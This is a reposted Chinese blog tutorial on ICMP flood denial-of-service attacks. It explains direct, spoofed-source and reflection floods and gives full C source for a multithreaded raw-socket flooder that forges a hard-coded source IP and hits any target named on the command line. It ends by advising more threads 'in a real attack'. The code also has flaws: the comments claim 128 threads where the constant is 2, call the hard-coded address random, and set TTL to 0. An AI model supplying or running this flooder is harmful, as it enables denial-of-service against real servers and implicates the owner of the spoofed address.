转自http://blog.csdn.net/chenjin_zhong/article/details/7271893
1. ICMP洪水攻击原理
ICMP洪水攻击基于PING协议,通过发送大量的PING包来攻击目标主机,主要攻击有3类:
(1)直接洪水攻击,即通过多线程的方式一次性发送大量的ICMP包,其缺点是容易暴露,对方知道你的IP,可以直接屏蔽
(2)伪装IP攻击, 在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址来代替
(3)反射攻击, 伪装目标主机向一群主机发送ICMP请求包,这样,这些主机就会向目标主机发送ICMP响应包,达到攻击的目的
2. ICMP洪水攻击实现
建立多线程,向目标主机发送大量的ICMP包,以此来攻击目标主机.
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
/**
ICMP洪水攻击:
原理:一次性向ICMP目的主机发送大量的ICMP包让目的主机处理不过来,这样目的主机就会变得很慢,甚至宕机.
直接洪水攻击:容易暴露,对方屏蔽你的IP地址
伪装IP地址:伪装IP地址,进行洪水攻击
反射攻击:伪装目的主机的IP地址向一帮主机发送ICMP回显请求包,这样这些主机就会向目的主机发送ICMP回显响应包,达到攻击目的主机的目的。
**/
#define MAXCHILD 2
static unsigned long dest=0;//目的IP地址
static int PROTO_ICMP=-1;//ICMP协议值
static alive=1;//程序活动标志
static int rawsock;
static void DoS_sig();
void DoS_fun(unsigned long ip);
void DoS_icmp(void);
static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数
int gap=end-begin+1;
int ret=0;
//系统时间初始化
srand((unsigned)time(0));
ret=random()%gap+begin;//介于begin与end之间的值
return ret;
}
void DoS_fun(unsigned long ip){
while(alive){
DoS_icmp();//一直发送ICMP回显请求包
}
}
static unsigned short icmp_cksum(unsigned char* data,int len){//校验和函数,通用算法
int sum=0;
int odd=len&0x01;
unsigned short *value=(unsigned short*)data;
while(len&0xfffe){
sum+=*(unsigned short*)data;
data+=2;
len-=2;
}
if(odd){
unsigned short tmp=((*data)<<8)&0xff00;
sum+=tmp;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
return ~sum;
}
void DoS_icmp(void){
struct sockaddr_in to;
struct ip *iph;
struct icmp *icmph;
char*packet;
struct in_addr src;
struct in_addr dst;
int pktsize=sizeof(struct ip)+8+64;//IP数据包的长度,IP的头部,icmp的头部和56个字节的数据
packet=malloc(pktsize);//为数据包分配空间
iph=(struct ip*)packet;//IP的头部指针
icmph=(struct icmp*)(packet+sizeof(struct ip));//ICMP的头部指针
memset(packet,0,pktsize);//将数据包的所有部分清0
//填充IP头部
iph->ip_v=4;//IP的版本,IPv4
iph->ip_hl=5;//IP头部长度,20个字节5*4
iph->ip_tos=0;//服务类型
iph->ip_len=htons(pktsize);//IP报文的总长度
iph->ip_id=htons(getpid());//标识设置为进程PID
iph->ip_off=0;//段的偏移地址
iph->ip_ttl=0;//生成时间
iph->ip_p=PROTO_ICMP;//协议类型为ICMP包
iph->ip_sum=0;//校验和
src.s_addr=inet_addr("222.27.253.108");
iph->ip_src=src;//发送的源地址,伪装IP
dst.s_addr=dest;
iph->ip_dst=dst;//发送的目的地址
iph->ip_sum=icmp_cksum((unsigned char*)iph,sizeof(struct ip));//检验和,IP首部长度
//填充ICMP头部 发送ICMP回显请求包与ICMP回显响应包,因此icmp_type为8,icmp_code为0,数据部分为0
icmph->icmp_type=ICMP_ECHO;
icmph->icmp_code=0;
icmph->icmp_cksum=icmp_cksum((unsigned char*)icmph,64+8);//数据长度与首部长度之和
//icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));
//发送的目的地址
to.sin_family=AF_INET;
to.sin_addr.s_addr=iph->ip_dst.s_addr;
to.sin_port=htons(0);
//发送ICMP包
int size=sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));//pktsize包含IP首部的长度
free(packet);//释放分配的内存空间
}
static void DoS_sig(){
alive=0;
printf("exit.....\n");
return;
}
//主函数
int main(int argc,char*argv[]){
struct hostent*host=NULL;
struct protoent *protocol=NULL;
int i=0;
char protoname[]="icmp";
pthread_t pthread[MAXCHILD];//线程数组
int err=-1;
alive=1;
signal(SIGINT,DoS_sig);
if(argc<2){
return -1;
}
//获得协议类型
protocol=getprotobyname(protoname);
if(protocol==NULL){
perror("getprotobyname");
return -1;
}
PROTO_ICMP=protocol->p_proto;
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE){
struct sockaddr_in dst;
host=gethostbyname(argv[1]);
if(host==NULL){
perror("gethostbyname");
return -1;
}
memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.sin_addr.s_addr;
}
//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);
//设置IP选项,手动填充IP头部信息,设置套接字选项
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多线程,128个线程同时发ICMP包
for(i=0;i<MAXCHILD;i++){
err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待线程结束
for(i=0;i<MAXCHILD;i++){
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
通过tcpdump可以看出发出去的请求包与响应包.
命令1: tcpdump
命令2: tcpdump dst host 222.27.253.108
说明:本程序中的IP地址是随机的,可以达到伪装IP地址的目的。在实际的攻击中,把线程数设置大一些即可。
总结: 本文主要是利用原始套接字伪装IP地址来实现ICMP洪水攻击.让服务器接收到大量的ICMP包,造成服务器超负载,从而达到攻击的目的。